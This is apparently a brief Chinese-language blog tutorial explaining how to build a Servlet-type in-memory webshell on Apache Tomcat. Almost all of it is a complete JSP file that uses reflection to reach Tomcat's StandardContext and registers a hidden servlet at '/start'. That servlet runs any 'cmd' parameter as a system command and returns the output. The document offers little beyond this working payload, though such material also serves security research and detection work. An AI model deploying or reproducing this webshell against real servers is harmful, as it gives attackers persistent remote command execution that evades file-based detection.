前言
关于Listener,Filter,Servlet在前文中已经有所了解,这次来看一下跟Filter型内存马差不多的Servlet型的jsp内存马是怎么实现的。
Tomcat Servlet内存马
首先是通过反射获取上下文,之后创建Wrapper,将恶意的Servlet放入。 再配置ServletMap映射路由即可。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%
class ServletDemo implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
public ServletConfig getServletConfig() {
return null;
}
// 每次请求该servlet都会执行该方法
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
}
}
%>
<%
// 反射获取context
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
ServletDemo demo = new ServletDemo();
Wrapper demoWrapper = standardContext.createWrapper();
// 设置Servlet名
demoWrapper.setName("start");
demoWrapper.setLoadOnStartup(1);
demoWrapper.setServlet(demo);
demoWrapper.setServletClass(demo.getClass().getName());
standardContext.addChild(demoWrapper);
// 设置ServletMap
standardContext.addServletMappingDecoded("/start", "start");
System.out.println("inject servlet success!");
%>
There Is Nothing Below